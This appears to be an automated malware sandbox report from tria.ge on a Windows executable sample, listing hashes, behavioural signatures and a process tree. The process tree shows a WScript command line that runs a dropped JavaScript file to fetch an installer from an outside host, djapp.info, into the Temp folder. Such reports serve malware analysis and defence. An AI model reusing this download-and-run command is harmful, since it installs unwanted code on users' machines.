Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
45s -
max time network
52s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
04/12/2022, 05:35
Static task
static1
Behavioral task
behavioral1
Sample
affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe
Resource
win10v2004-20220901-en
General
-
Target
affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe
-
Size
184KB
-
MD5
93eac4b75daf487f01b0ae8481200b08
-
SHA1
b910117319134a109bebef99ea98813f6a1f3755
-
SHA256
affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea
-
SHA512
737d5af61a45152680df34b2c2267345cfbc29eee03edb3cfcb4b0756dc85f2fae2e0404bed1f944a68a7b2211c20e20db3158a34d01723de106a95ec6ec20b7
-
SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3r:/7BSH8zUB+nGESaaRvoB7FJNndn2
Malware Config
Signatures
-
Blocklisted process makes network request 10 IoCs
flow pid Process 2 2040 WScript.exe 5 2040 WScript.exe 6 1744 WScript.exe 8 1744 WScript.exe 9 324 WScript.exe 11 324 WScript.exe 12 1356 WScript.exe 14 1356 WScript.exe 16 1396 WScript.exe 18 1396 WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Script User-Agent 5 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 2 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 6 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 9 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 12 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 16 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 908 wrote to memory of 2040 908 affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe 27 PID 908 wrote to memory of 2040 908 affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe 27 PID 908 wrote to memory of 2040 908 affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe 27 PID 908 wrote to memory of 2040 908 affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe 27 PID 908 wrote to memory of 1744 908 affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe 30 PID 908 wrote to memory of 1744 908 affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe 30 PID 908 wrote to memory of 1744 908 affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe 30 PID 908 wrote to memory of 1744 908 affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe 30 PID 908 wrote to memory of 324 908 affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe 31 PID 908 wrote to memory of 324 908 affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe 31 PID 908 wrote to memory of 324 908 affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe 31 PID 908 wrote to memory of 324 908 affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe 31 PID 908 wrote to memory of 1356 908 affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe 32 PID 908 wrote to memory of 1356 908 affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe 32 PID 908 wrote to memory of 1356 908 affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe 32 PID 908 wrote to memory of 1356 908 affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe 32 PID 908 wrote to memory of 1396 908 affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe 33 PID 908 wrote to memory of 1396 908 affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe 33 PID 908 wrote to memory of 1396 908 affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe 33 PID 908 wrote to memory of 1396 908 affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe 33
Processes
-
C:\Users\Admin\AppData\Local\Temp\affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe"C:\Users\Admin\AppData\Local\Temp\affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:908 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf401D.js" http://www.djapp.info/?domain=jJfeYCZcWL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf401D.exe2⤵
- Blocklisted process makes network request
PID:2040
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf401D.js" http://www.djapp.info/?domain=jJfeYCZcWL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf401D.exe2⤵
- Blocklisted process makes network request
PID:1744
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf401D.js" http://www.djapp.info/?domain=jJfeYCZcWL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf401D.exe2⤵
- Blocklisted process makes network request
PID:324
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf401D.js" http://www.djapp.info/?domain=jJfeYCZcWL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf401D.exe2⤵
- Blocklisted process makes network request
PID:1356
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf401D.js" http://www.djapp.info/?domain=jJfeYCZcWL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf401D.exe2⤵
- Blocklisted process makes network request
PID:1396
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
-
Filesize
100B
MD5343f8ec8ebaf4b5c5c28afb469e376f8
SHA1ac38f27fc8fc6109dfc369db5daaa0c73ec2a2cf
SHA256b540827efffc1757310e36af82ba6199fb8e54dce68d679c34769b0cd03b948f
SHA51211521304ed3bec751d1df0a0fbe5147e4b3374e6cf177304f41f20f4462881d27efd775385d7dcb50b2121c5644702d80ff47ccb85765a7b6e2dd2e0c1c30361